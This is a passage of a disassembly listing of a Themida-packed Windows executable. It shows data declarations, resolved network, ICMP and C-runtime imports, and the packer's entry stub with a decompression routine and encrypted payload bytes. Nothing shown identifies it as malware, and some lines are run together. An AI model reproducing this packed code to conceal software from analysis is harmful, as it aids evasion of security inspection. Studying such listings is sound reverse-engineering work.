					; sub_407740+3Eo ...
		dd 26h dup(0)
dword_44AD70	dd 86h dup(0)						; sub_404C30+27Eo ...
		db 3 dup(0)
byte_44AF8B	db 0			; DATA XREF: sub_426930+3Bw
					; sub_4269A0+7Ew ...
		dd 7Fh dup(0)
		db 3 dup(0)
dword_44B18B	dd 0							; sub_4269A0+4Fw ...
dword_44B18F	dd 0							; ___:0042419Dw ...
dword_44B193	dd 0							; sub_4269A0+5Dr ...
dword_44B197	dd 0							; sub_4269A0+8Cr ...
dword_44B19B	dd 0							; sub_4269A0+9Dr
dword_44B19F	dd 0							; ___:004241D1r ...
byte_44B1A3	db 0			; DATA XREF: sub_426930+42w
					; sub_4269A0+85w
dword_44B1A4	dd 2828h dup(0)
		db 3 dup(0)
byte_455247	db 0			; DATA XREF: ___:off_446EF4o
		dd 3C15h dup(0)
		db 2 dup(0)
word_46429E	dw 0			; DATA XREF: Themida_:005A8827o
dword_4642A0	dd 0AF6Fh dup(0)
dword_49005C	dd 0BD23h dup(0)		db 0
byte_4BF4E9	db 3 dup(0)		; DATA XREF: ___:off_402027o
		dd 53D8h dup(0)
		db 0
byte_4D444D	db 3 dup(0)		; DATA XREF: ___:off_44530Co
		dd 0ECEh dup(0)
		db 3 dup(0)
dword_4D7F8B	dd 0							; sub_426BD0+13o
		align 10h
		dd 39h dup(0)
		db 0
byte_4D8075	db 3 dup(0)		; DATA XREF: sub_404BE0+1Eo
					; sub_404C30+65o ...
		dd 5 dup(0)
byte_4D808C	db 0			; DATA XREF: sub_404C30+292w
					; sub_404C30+4EBw
dword_4D808D	dd 0							; sub_422B40:loc_4232C4r ...
		align 4
		dd 0
		db 0
dword_4D8099	dd 0							; sub_404BE0+2Aw
byte_4D809D	db 3 dup(0)		; DATA XREF: ___:00412FB4o
					; ___:00412FD7o
		dd 9 dup(0)
		db 3 dup(0)
dword_4D80C7	dd 0							; sub_428DC0:loc_428EB7r
		align 4
		dd 2Fh dup(0)
		db 3 dup(0)
byte_4D818B	db 0			; DATA XREF: sub_426B60+16o
					; sub_426B90+19o
		db 3 dup(0)
byte_4D818F	db 0			; DATA XREF: sub_426A90+4Co
		dd 6Fh dup(0)
		db 3 dup(0)
byte_4D834F	db 0			; DATA XREF: ___:00408289o
					; ___:0040871Ao ...
		dd 8 dup(0)
dword_4D8370	dd 0				dd 51h dup(0)
		db 0
byte_4D84B9	db 0			; DATA XREF: sub_427980:loc_427A30r
					; sub_427FD0:loc_428085r ...
		align 4
		dd 9Eh dup(0)
		db 0
dword_4D8735	dd 0							; sub_427FD0+7Dw ...
		align 4
		dd 1EDAh dup(0)
		db 0
byte_4E02A5	db 3 dup(0)		; DATA XREF: ___:00419F93o
					; sub_41A050+13o
dword_4E02A8	dd 1EB9h dup(0)
		db 3 dup(0)
byte_4E7D8F	db 0			; DATA XREF: sub_427D50+1Do
		dd 21h dup(0)
		db 0
byte_4E7E15	db 3 dup(0)		; DATA XREF: ___:00419FA3o
		dd 235h	dup(0)
		db 3 dup(0)
byte_4E86EF	db 0			; DATA XREF: sub_427D50+2Fo
		dd 1D5h	dup(0)
byte_4E8E44	db 0			; DATA XREF: sub_404C30+299w
					; sub_40FE30:loc_40FE72r ...
byte_4E8E45	db 3 dup(0)		; DATA XREF: sub_404C30+235o
					; sub_404C30+874o ...
		dd 4 dup(0)
		db 2 dup(0)
word_4E8E5A	dw 0			; DATA XREF: sub_404C30+2D4o
					; ___:0040872Eo ...
		dd 0Fh dup(0)
		db 0
byte_4E8E99	db 0			; DATA XREF: sub_41F860+31w
					; sub_41F860+47w ...
		db 0
byte_4E8E9B	db 0			; DATA XREF: sub_418450+21o
					; sub_41D830+341o ...
dword_4E8E9C	dd 6D2Eh dup(0)
dword_504354	dd 12B6h dup(0)	dword_508E2C	dd 1000h dup(0)						; ___:00419B9Do ...
dword_50CE2C	dd 333h	dup(0)						; ___:00419BB8o ...
dword_50DAF8	dd 0							; sub_41A110+1Br ...
		dd 3 dup(0)
dword_50DB08	dd 0							; ___:0041FB3Dw ...
dword_50DB0C	dd 0							; sub_41FA90+2Aw ...
dword_50DB10	dd 0		dword_50DB14	dd 0							; ___:0041FB5Bw
dword_50DB18	dd 0		dword_50DB1C	dd 0							; ___:0041FB67w ...
dword_50DB20	dd 0							; ___:0041FB6Dw ...
dword_50DB24	dd 0							; ___:00420DA9o
dword_50DB28	dd 0							; sub_41FA90:loc_41FAB4r ...
dword_50DB2C	dd 0							; ___:0041FB81w
dword_50DB30	dd 0							; sub_420530+41w ...
dword_50DB34	dd 0							; sub_420530+7Fr
dword_50DB38	dd 0							; sub_420530+92r ...
dword_50DB3C	dd 0							; sub_420530+148r
		dd 3 dup(0)
dword_50DB4C	dd 0							; ___:0041C2A5o
dword_50DB50	dd 0							; sub_423820+5r ...
dword_50DB54	dd 0							; ___:00423FABr ...
		dd 7CEh	dup(0)
dword_50FA90	dd 6 dup(0)						; ___:00423EAFo ...
dword_50FAA8	dd 196h	dup(0)						; sub_423760+6Do
dword_510100	dd 0		word_510104	dw 0			; DATA XREF: sub_424F70+A9r
		align 4
word_510108	dw 0			; DATA XREF: sub_4253C0+45r
					; sub_4257F0+DAr
		align 4
dword_51010C	dd 0				dd 0
byte_510114	db 0			; DATA XREF: sub_4267D0:loc_426830r
					; sub_4267D0+97w
		align 4
dword_510118	dd 0		; resolved to->IPHLPAPI.IcmpSendEcho					; sub_427980+D9r
dword_51011C	dd 0		; resolved to->IPHLPAPI.IcmpCreateFile					; sub_427980+45r
dword_510120	dd 0		; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_427980+54r ...
		align 8
dword_510128	dd 80h dup(0)						; sub_427D50+129o
dword_510328	dd 0		dword_51032C	dd 0				dd 1Dh dup(0)
dword_5103A4	dd 0							; ___:0042C40Dr ...
dword_5103A8	dd 0							; sub_42DE00:loc_42DE96r ...
dword_5103AC	dd 0		; resolved to->WS2_32.connect					; sub_432570+2Dr ...
dword_5103B0	dd 0		dword_5103B4	dd 0							; sub_431560r ...
dword_5103B8	dd 0		dword_5103BC	dd 0							; sub_4309A0+111w ...
dword_5103C0	dd 0							; sub_4309A0+F6r ...
dword_5103C4	dd 0							; ___:loc_4316A0r
dword_5103C8	dd 0		; resolved to->KERNEL32.InterlockedCompareExchange					; sub_4322D0+2Cr ...
		dd 2 dup(0)
		dd 0
		dd 13Ah	dup(0)
dword_5108C0	dd 10h dup(0)						; sub_431470:loc_4314A0o ...
dword_510900	dd 8 dup(0)						; sub_430830+25o ...
dword_510920	dd 8 dup(0)						; sub_431980+25o ...
dword_510940	dd 8 dup(0)						; sub_432850+84o ...
dword_510960	dd 8 dup(0)						; sub_432850+8Bo ...
dword_510980	dd 9 dup(0)						; sub_4309A0:loc_430AB7o ...
		dd 0FFFFFFFFh, 3 dup(0)
		dd 0FFFFFFFFh, 192h dup(0)
		dd 5 dup(3F07EB2Ah), 5 dup(5632ED9Ah), 5 dup(3932FE39h)
		dd 5 dup(4143DE9Ah), 5 dup(302E31F6h), 5 dup(4F5A762Dh)
		dd 5 dup(13CB9939h), 5 dup(2B81CF8Bh), 5 dup(30F1CC36h)
		dd 5 dup(417E9D86h), 5 dup(4399EFE4h), 1Eh dup(0)
		dd 4F5A762Dh, 10h dup(0)
		dd 4399EFE4h, 59h dup(0)
		dd 4143DE9Ah, 1Ch dup(0)
		dd 30F1CC36h, 14h dup(0)
		dd 5632ED9Ah, 52h dup(0)
		dd 3F07EB2Ah, 1Bh dup(0)
		dd 417E9D86h, 0Bh dup(0)
		dd 13CB9939h, 0Ch dup(0)
		dd 302E31F6h, 2Bh dup(0)
		dd 2B81CF8Bh, 11h dup(0)
		dd 3932FE39h, 0Ah dup(0)
		dd 28A0C50h, 28B0000h, 28C0000h
dword_511718	dd 28C150Fh			dd 28C1659h
dword_511720	dd 28C18A0h			dd 28C1C3Dh, 28D0000h
dword_51172C	dd 28E0000h			dd 28F0000h, 28F0543h, 28F0857h, 28F0C65h
dword_511740	dd 2900000h						; sub_40E860+25Ar ...
dword_511744	dd 2900640h	dword_511748	dd 290097Ch			dd 2900A6Dh, 2910000h
dword_511754	dd 2910346h						; sub_40EE30+15Er ...
		dd 291064Bh
dword_51175C	dd 2920000h						; sub_40E860+22Cr
		dd 2920D13h
dword_511764	dd 2930000h						; sub_4207E0+285r ...
		dd 2940000h
dword_51176C	dd 29410FAh						; sub_40E860+24Cr
		dd 10h dup(0)
		dd 76F36C5Bh, 0Bh dup(0)
dword_5117E0	dd 2700000h						; sub_420530+FEr
		dd 27005FFh, 2710000h, 271072Ah, 271092Eh, 2710C52h, 2710DCBh
		dd 2720000h, 2720743h, 2720B57h, 2730000h, 2730252h, 2730965h
		dd 27309F1h, 2740000h, 274041Bh, 274070Ch, 27409E8h, 2740BCAh
		dd 2750000h, 275004Ch, 2750562h, 2750607h, 275090Ch, 2750B2Fh
		dd 2750D11h, 2760000h, 2760281h, 2760416h, 27605BCh, 2760788h
		dd 276084Bh, 2770000h
dword_511864	dd 277069Fh	dword_511868	dd 2770E0Bh	dword_51186C	dd 2780000h			dd 7C901005h, 7C9010EDh, 27801D3h, 27801F2h, 2780211h
		dd 278030Dh, 2780911h, 2780CBCh, 2790000h, 27A0000h, 27B0000h
		dd 27B07E7h, 27C0000h, 27D0000h, 27D070Bh
dword_5118AC	dd 27D09E8h						; sub_40FE30+47r ...
		dd 27D0AB9h, 27E0000h, 27E059Dh, 27F0000h, 27F10D1h, 2800000h
		dd 2810000h
dword_5118CC	dd 28116D8h			dd 28118B4h, 2820000h
dword_5118D8	dd 2820269h						; sub_41B580+2Fr ...
		dd 282038Ch
dword_5118E0	dd 2830000h						; sub_4203D0+2Er ...
		dd 28303F6h, 2840000h, 2840A73h
dword_5118F0	dd 2850000h			dd 2850282h, 2860000h, 2870000h, 2880000h, 2880B84h, 2890000h
		dd 28906CDh, 2890B19h, 2890C06h
dword_511918	dd 28A0000h						; sub_420530:loc_42057Cr ...
		dd 1Ah dup(0)
		dd 71B2578Ch, 71B2517Fh, 71B25099h, 0Bh	dup(0)
		dd 76085AE4h, 760976AFh, 7608B84Ch, 76081F67h, 760A0430h
		dd 7608F485h, 7609202Eh, 760A044Fh, 760A036Bh
dword_5119E0	dd 760AC190h			dd 0Dh dup(0)
; ---------------------------------------------------------------------------
		xchg	eax, esp
		pop	esp
		retn
; ---------------------------------------------------------------------------
		ja	short loc_511A99
		push	ebx
		retn
; ---------------------------------------------------------------------------
		db 77h
		db 0DBh	; Û
		db 0F1h	; ñ
		db 0C1h	; Á
		db  77h	; w
; ---------------------------------------------------------------------------


loc_511A24:				; CODE XREF: ___:00511A34j
		movsb
		icebp
		sal	dword ptr [edi-28h], 23h
		mov	byte ptr [edi+75h], 0D6h
		les	esi, [edi+67h]
		popf
		retn
; ---------------------------------------------------------------------------
		db 77h
; ---------------------------------------------------------------------------
		jmp	short loc_511A24
; ---------------------------------------------------------------------------
		sal	dword ptr [edi-54h], 17h
		mov	byte ptr [edi-52h], 2Dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		dd 77C39E9Ah, 77C34DF8h, 77C34E51h, 77C21868h, 77C40BB1h
		dd 77C36D74h, 77C3619Ch, 77C49113h, 77C3A307h, 77C3A3DBh
		dd 77C4186Ah
dword_511A6C	dd 77C3F931h	; resolved to->MSVCRT.sprintf					; sub_42E5B0+53r ...
dword_511A70	dd 77C1F2BCh	; resolved to->MSVCRT._errno		dd 77C371FAh, 77C36DF2h
dword_511A7C	dd 77C5F97Ch	; resolved to->MSVCRT.__mb_cur_max		dd 77C4EE2Fh, 77C227FAh, 77C2C0C3h
dword_511A8C	dd 77C40E13h	; resolved to->MSVCRT.fprintfdword_511A90	dd 77C5FC80h	; resolved to->MSVCRT._iob					; sub_42DE00+4Ar ...
; ---------------------------------------------------------------------------
		imul	dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		db 72h
; ---------------------------------------------------------------------------


loc_511A99:				; CODE XREF: ___:00511A1Bj
		sbb	eax, esp
; ---------------------------------------------------------------------------
		db 77h
dword_511A9C	dd 77C47BE0h	; resolved to->MSVCRT.strrchrdword_511AA0	dd 77C4173Bh	; resolved to->MSVCRT.fwritedword_511AA4	dd 77C4139Ch	; resolved to->MSVCRT.fseekdword_511AA8	dd 77C4624Eh	; resolved to->MSVCRT._stricmpdword_511AAC	dd 77C41574h	; resolved to->MSVCRT.ftelldword_511AB0	dd 77C411FBh	; resolved to->MSVCRT.fread		dd 77C40E76h
dword_511AB8	dd 77C47E61h	; resolved to->MSVCRT.wcscat					; ___:0041C3DAr
; ---------------------------------------------------------------------------
		adc	al, dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		dd 77C40AB1h, 77C4FA10h
dword_511AC8	dd 77C371D3h	; resolved to->MSVCRT.rand					; sub_41BA50+17Er ...
		dd 77C371BCh
dword_511AD0	dd 77C2C21Bh	; resolved to->MSVCRT.free					; sub_42F2C0+34r ...
		dd 77C2C407h
dword_511AD8	dd 77C47920h	; resolved to->MSVCRT.strncat		dd 77C39E7Eh
dword_511AE0	dd 77C47A50h	; resolved to->MSVCRT.strncmp					; sub_42DE00+90r
dword_511AE4	dd 77C3FA76h	; resolved to->MSVCRT._snprintf					; sub_426070+C8r ...
		db 90h
		db 0CFh, 0C1h, 77h
dword_511AEC	dd 77C47660h	; resolved to->MSVCRT.strchr		db 8Ah,	0FFh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 77h
; ---------------------------------------------------------------------------
		mul	byte ptr [esi]
		retn	0E777h
; ---------------------------------------------------------------------------
		db 14h,	0C2h, 77h
		dd 77C29CC5h
dword_511B00	dd 77C47CE5h	; resolved to->MSVCRT.strtok					; sub_41BD90+5Dr
dword_511B04	dd 77C47C60h	; resolved to->MSVCRT.strstr					; sub_40FE30+1126r ...
dword_511B08	dd 77C47A90h	; resolved to->MSVCRT.strncpy					; ___:00419CDAr
		dd 77C29CDDh, 77C293C7h
dword_511B14	dd 77C1BF18h	; resolved to->MSVCRT.atoi					; sub_422B40+203r ...
		dd 77C35F0Dh
dword_511B1C	dd 77C5F988h	; resolved to->MSVCRT._pctype		dd 77C46170h, 77C1C561h, 77C46125h
		dd 77C46320h
		dd 19h dup(0)
		dd 76BF215Ah, 76BF1F1Ch, 76BF3A9Ah, 0Bh	dup(0)
		dd 7CA41110h, 0Bh dup(0)
		dd 28A0887h
off_511C00	dd offset sub_5F285B	; DATA XREF: ___:00419FBDr
					; sub_41A050+2Dr ...
		dd 0Bh dup(0)
		dd 71AB951Eh, 71AB3E00h
dword_511C38	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_425100:loc_4251B2r ...
dword_511C3C	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_42B8E0:loc_42B99Br
		dd 71AB406Ah, 71AB4428h, 71AB664Dh, 71AB50C8h
dword_511C50	dd 71AB94DCh	; resolved to->WS2_32.WSAGetLastError		dd 71AB4544h, 71AC0B50h
dword_511C5C	dd 71AB2B66h	; resolved to->WS2_32.ntohs		dd 71AB2BC0h
dword_511C64	dd 71AB2D0Fh	; resolved to->WS2_32.recvfromdword_511C68	dd 71AB2C69h	; resolved to->WS2_32.sendto					; sub_42B8E0+F9r
		dd 71AB3EA1h, 71AB8769h, 71AB4489h, 71ABE6EBh, 71AC0BDEh
		dd 71AB2A5Eh, 71AB4FD4h
dword_511C88	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoa		dd 71AB88D3h, 71AB2BC0h
dword_511C94	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_41A7D0+48r ...
dword_511C98	dd 71AC1028h	; resolved to->WS2_32.acceptdword_511C9C	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_41F860+198r ...
dword_511CA0	dd 71AB428Ah	; resolved to->WS2_32.send					; ___:004216E1r ...
dword_511CA4	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_4253C0+8Br ...
		dd 71AB2BF4h
dword_511CAC	dd 71AB4519h	; resolved to->WS2_32.ioctlsocket					; sub_42C830+E8r
		dd 71ABE479h, 11h dup(0)
		dd 76D6AC1Dh, 4C1h dup(0)
___		ends

; Section 2. (virtual address 00113000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00113000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 513000h
		align 2000h
_rsrc___	ends

; Section 3. (virtual address 00114000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00114000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 514000h
		dd 7C801A24h, 7C81CDDAh, 0
aE		db 'Ïe',9,']',0
		align 10h
		dd 114050h, 114000h, 3 dup(0)
		dd 114079h, 11400Ch, 5 dup(0)
aKernel32_dll_1	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 00115000)
; Virtual size			: 000FF000 (1044480.)
; Section size in file		: 000FF000 (1044480.)
; Offset to raw	data for section: 00115000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 515000h
		dd 27C4B071h, 43277h, 5F8E2h, 15A172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 00515265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00581469 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005849FA SIZE 00000062 BYTES
; FUNCTION CHUNK AT 00584C70 SIZE 00000062 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_515086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_515041
		popa
		jmp	short loc_515076
; ---------------------------------------------------------------------------
a7pq		db 'Û-7PQ',0
		db 0FFh
		dd 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------


loc_515041:				; CODE XREF: start+18j
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_51504E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_51506D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_515074


loc_51506D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_51504E
; ---------------------------------------------------------------------------


loc_515074:				; CODE XREF: start+57j
		mov	edi, eax


loc_515076:				; CODE XREF: start+1Bj
		jmp	loc_515265
; ---------------------------------------------------------------------------
		db 3
		dd 526AB9C7h, 0CF030011h
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------


loc_515086:				; CODE XREF: start+8j
		mov	eax, offset loc_581469
		mov	ecx, offset word_51526A
		push	eax
		push	ecx
		call	sub_51511B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_515265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
aUFkxB		db '(“ÉäŠx¼^',0
		dd 63432DA8h, 0F065446Ch, 3ADC23BEh, 759CA4D8h,	3163C78Eh
		dd 93264C98h, 78F2E4C9h, 172F5EBCh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh, 1848C86h, 662A4924h
		dd 1799B7DEh, 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh
		dd 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_51511B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_515127:				; CODE XREF: sub_51511B:loc_51513Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_515132:				; CODE XREF: sub_51511B+7Aj
					; sub_51511B+C3j ...
		add	dl, dl
		jnz	short loc_51513B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51513B:				; CODE XREF: sub_51511B+19j
		jnb	short loc_515127
		add	dl, dl
		jnz	short loc_515146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515146:				; CODE XREF: sub_51511B+24j
		jnb	short loc_515197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_515153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515153:				; CODE XREF: sub_51511B+31j
		jnb	loc_515238
		add	dl, dl
		jnz	short loc_515162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515162:				; CODE XREF: sub_51511B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_51516D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51516D:				; CODE XREF: sub_51511B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_515178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515178:				; CODE XREF: sub_51511B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_515183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515183:				; CODE XREF: sub_51511B+61j
		adc	eax, eax
		jz	short loc_51518D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_51518D:				; CODE XREF: sub_51511B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_515132
; ---------------------------------------------------------------------------


loc_515197:				; CODE XREF: sub_51511B:loc_515146j
		mov	eax, 1


loc_51519C:				; CODE XREF: sub_51511B:loc_5151B0j
		add	dl, dl
		jnz	short loc_5151A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151A5:				; CODE XREF: sub_51511B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_5151B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151B0:				; CODE XREF: sub_51511B+8Ej
		jb	short loc_51519C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_5151E3
		mov	ecx, 1


loc_5151C0:				; CODE XREF: sub_51511B:loc_5151D4j
		add	dl, dl
		jnz	short loc_5151C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151C9:				; CODE XREF: sub_51511B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_5151D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151D4:				; CODE XREF: sub_51511B+B2j
		jb	short loc_5151C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_515132
; ---------------------------------------------------------------------------


loc_5151E3:				; CODE XREF: sub_51511B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_5151F1:				; CODE XREF: sub_51511B:loc_515205j
		add	dl, dl
		jnz	short loc_5151FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151FA:				; CODE XREF: sub_51511B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_515205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515205:				; CODE XREF: sub_51511B+E3j
		jb	short loc_5151F1
		cmp	eax, 7D00h
		jnb	short loc_515228
		cmp	eax, 500h
		jb	short loc_515223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_515132
; ---------------------------------------------------------------------------


loc_515223:				; CODE XREF: sub_51511B+F8j
		cmp	eax, 7Fh
		ja	short loc_51522B


loc_515228:				; CODE XREF: sub_51511B+F1j
		add	ecx, 2


loc_51522B:				; CODE XREF: sub_51511B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_515132
; ---------------------------------------------------------------------------


loc_515238:				; CODE XREF: sub_51511B:loc_515153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_515259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_515132
; ---------------------------------------------------------------------------


loc_515259:				; CODE XREF: sub_51511B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_51511B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_515265:				; CODE XREF: start:loc_515076j
					; start+9Dj
		jmp	loc_581469
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_51526A	dw 38E9h		; DATA XREF: start+77o
		dd 153358Ch, 3321FFBFh,	0AFEF11EEh, 65685400h, 6164696Dh
		dd 22FA1BE1h, 0BE0BE198h, 0EE101FCh, 0E11122BEh, 1FCAB1Fh
		dd 88FF1EE1h, 0AA43B871h, 655201BFh, 72617473h,	0E27041CCh
		dd 0F978F42Eh, 67FD3DC2h, 0D7570801h, 8D702111h, 3545DE7Fh
		dd 457E15C2h, 0FF37C236h, 0D00497ADh, 6CAD04F0h, 59018FD4h
		dd 17C21D22h, 81724F9h,	92915F5Fh, 0F9F58D70h, 5F1FC278h
		dd 0E3201D27h, 0D490C58Bh, 0AA0E860h, 0ED00815Dh, 7A8359Bh
		dd 61299589h, 75B50D1Eh, 9851004h, 0BD838005h, 80830BFCh
		dd 728B0C74h, 0B8E228E8h, 0C7C27B5Dh, 1C244470h, 14404D3Eh
		dd 0E845186Ah, 9A6829A3h, 7A83743Eh, 250ADF50h,	0A894B1Eh
		dd 0E909D591h, 18150214h
		db 0F4h, 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		mov	al, 0EEh
		pop	edx
		adc	dword ptr [eax], 23689EAh
		mov	ebx, edx
		mov	dword ptr [ebp-28h], 0EC60846h ; CODE XREF: Themida_:0051536Dj
		inc	eax
		mov	[eax], ecx
		aas
		cmp	dword ptr [ebp+31h], 0F741D80h
		lahf
		and	[eax], cl
		leave
		xor	ebx, 26h
		adc	bh, bh
		adc	bl, [eax]
		inc	ebx
		jmp	short near ptr loc_51534F+1
; ---------------------------------------------------------------------------
		db 36h
		dd 26DD61DCh, 4C2C905h,	0C4814601h, 2A3FF7Ch, 0D29149h
		dd 8B80458Dh, 51C7085Dh, 50121985h, 0D10A808Dh,	2A1888C3h
		dd 280B8941h, 8006BD81h, 0A5E3755Dh, 0BA8D0A27h, 75013B64h
		dd 0BB0E8A80h, 0B85B24F4h, 5437AB03h, 0F3D0D378h, 4B080E0Fh
		dd 0AFC1F775h, 494647C3h, 0F946184Ah, 61D142A8h, 0D0818AAEh
		dd 0EEF6D7F0h, 4DFC4528h, 0AD04EB28h, 803146F2h, 0BAF7403Eh
		dd 34B9844Dh, 0EB0C7D86h, 0F8433E7Fh, 0F0126D32h, 0F40E2A13h
		dd 0C14A0510h, 4F065h, 0E0D1F8D6h, 80E5C203h, 8ADB3328h
		dd 7380301Ch, 0A7230FBh, 577390Ah, 0C9FBEBF4h, 61149F22h
		dd 660A0DD9h, 1EBD08FDh, 0AC33A7Dh, 411A10B0h, 0AC30B72h
		dd 7A067746h, 5D018824h, 0F4ECF061h, 2CC7D83h, 0CB06C72h
		dd 0A5DD76C0h, 0F826AA99h, 8D1D3807h, 3B02A8A8h, 820FFC55h
		dd 0B0BDA778h, 0F938AA06h, 8308BA43h, 0A17082B9h, 3818BDFCh
		dd 470FFE00h, 0FA754907h, 6A1722B9h, 5101BB70h,	82F11D12h
		dd 6002B7EBh, 3A1F868Eh, 0B808A93Fh, 45363F65h,	0EF268ADCh
		dd 40E4E913h, 0B298BC59h, 10660C75h, 0B4190383h, 8A507278h
		dd 0DB008C08h, 0CE96BC67h, 0F86BC32Ch, 4E93056h, 0C45E2121h
		dd 6D068AE4h, 45820525h, 211D6008h, 37C45646h, 124E2407h
		dd 65F0CD3Ch, 19DA8C15h, 9EA6E881h, 0BC8040F1h,	0AD3F03EBh
		dd 34CB9C5Eh, 39826700h, 1765B4Eh, 51B8100Fh, 0F1D1043Dh
		dd 8746D93Bh, 2E097564h, 20E1156h, 65E4EC48h, 77800690h
		dd 8E05C584h, 9432962Ah, 4855347h, 8C2946C2h, 0E76DDA71h
		dd 0FFD9AA0Eh, 77812B86h, 1D002204h, 0F984C134h, 0C8207533h
		dd 0BB3B3FBCh, 30EF330Ah, 0EC419902h, 0CF7F8CC4h, 40C8FFCCh
		dd 0E9F54567h, 626028h,	4D8C52C4h, 0AA821125h, 0AB66B142h
		dd 1384845Ah, 5FA5653h,	3DEE825Eh, 511B8154h, 8A0C9F9Eh
		dd 4013B954h, 43A59723h, 1BD10129h, 0E5003018h,	58873C24h
		dd 52B8FDBAh, 1EE22515h, 224130h, 3F52802Fh, 342ADC32h
		dd 288D6724h, 10D2F407h, 893C594Ah, 5405E2h, 5CB4BE61h
